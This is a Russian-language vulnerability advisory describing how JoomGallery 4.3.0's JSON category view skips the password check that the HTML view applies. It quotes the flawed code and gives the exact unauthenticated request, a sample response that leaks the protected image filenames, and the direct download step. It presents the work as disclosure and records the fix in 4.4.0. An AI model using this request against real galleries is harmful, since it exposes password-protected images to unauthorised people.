
Обход защиты паролем категории через JSON-формат в JoomGallery
JoomGallery ≤ 4.3.0-stable — неаутентифицированный злоумышленник обходит парольный шлюз и скачивает защищённые изображения
В JSON-представлении категорий JoomGallery существует обход контроля доступа без аутентификации. Когда категория галереи защищена паролем, HTML-представление корректно применяет парольный шлюз, но JSON-представление (format=json) полностью пропускает эту проверку.
Удалённый злоумышленник без каких-либо учётных данных может получить заголовок категории, описание и рандомизированные имена файлов всех защищённых изображений, а затем напрямую скачать эти изображения. Защита паролем обходится одним HTTP-запросом.
Обход ограничен категориями, уровень доступа ACL которых в Joomla установлен как Public (access=1). Категории, ограниченные уровнем доступа Registered или Special, по-прежнему блокируются на уровне ACL в JsonView.php:69.
| КОМПОНЕНТ | УЯЗВИМАЯ ВЕРСИЯ | ПРОТЕСТИРОВАНО НА | ИСПРАВЛЕНО |
|---|---|---|---|
| JoomGallery | 4.3.0-stable | Joomla 5.4.7 + JoomGallery 4.3.0-stable (PHP 8.x / Apache) | 4.4.0 |
Тип: Некорректный контроль доступа (CWE-284)
Требуется аутентификация: Нет — без аутентификации, один HTTP-запрос
Файл: site/com_joomgallery/src/View/Category/JsonView.php, строки 76–96
JoomGallery реализует защиту категорий паролем с помощью флага pw_protected. Эта проверка присутствует в HtmlView.php, но полностью отсутствует в JsonView.php:
HTMLVIEW.PHP — КОРРЕКТНО (проверка присутствует)
// контент скрывается и выводится форма ввода пароля
if (!$this->item->pw_protected) {
$this->item->images->items = $model->getImages();
$this->item->children->items = $model->getChildren();
}
JSONVIEW.PHP — УЯЗВИМ (проверка отсутствует)
// JsonView.php:76-96 — нет проверки pw_protected; контент возвращается безусловно
$this->item->parent = $model->getParent();
$this->item->children->items = $model->getChildren(); // выполняется всегда
$this->item->images->items = $model->getImages(); // выполняется всегда
$this->output($this->item); // сериализует полный ответ в JSON, включая имена файлов
Параметр format=json в Joomla направляет тот же URL в отдельный класс View. Каждое View должно самостоятельно обеспечивать проверки доступа — фреймворк не распространяет их автоматически. Разработчик добавил проверку pw_protected в HtmlView, но пропустил её в JsonView.
Защита паролем в JoomGallery основана на сохранении имён файлов изображений в тайне — файлы хранятся как статические ресурсы в /images/joomgallery/originals/ и обслуживаются напрямую Apache без какой-либо серверной аутентификации. Имена файлов рандомизированы (например, secret-image-1_20260803_1951053711.jpg) и раскрываются только после прохождения проверки пароля через слой PHP/Joomla. JSON-обход нарушает эту модель, раскрывая имена файлов неаутентифицированным запрашивающим, что завершает цепочку атаки до полного получения изображений.
Лабораторная установка:
pw_protected=true, access=Public)secret-image-1_20260803_1951053711.jpg)GET /index.php/component/joomgallery/category/3
Результат: Выводится форма ввода пароля. Содержимое категории не отображается.

GET /index.php/gallery/categories/3-secret-gallery
Результат: Прямой доступ к изображению заблокирован в пути Alias (/3-secret-gallery)

GET /index.php?option=com_joomgallery&view=category&format=json&id=3
Ответ (HTTP 200, без аутентификации):
{
"success": true,
"data": {
"title": "Secret Gallery",
"description": "<p>SENSITIVE: Internal photos — restricted access</p>",
"pw_protected": true,
"access": 1,
"images": {
"items": [
{
"title": "Secret Image 1",
"filename": "secret-image-1_20260803_1951053711.jpg",
"cattitle": "Secret Gallery",
"access": "Public"
}
]
}
}
}
pw_protected: true подтверждает, что пароль установлен. Несмотря на это, полный ответ, включая рандомизированное имя файла, возвращается неаутентифицированному вызывающему.

Используя имя файла, полученное на шаге 3
Результат: HTTP 200 — файл изображения возвращается напрямую Apache. Аутентификация не требуется.

Любая категория галереи, которую администратор защитил паролем, полностью скомпрометирована. Злоумышленнику требуется лишь числовой идентификатор категории, который является последовательным и тривиально перебираемым.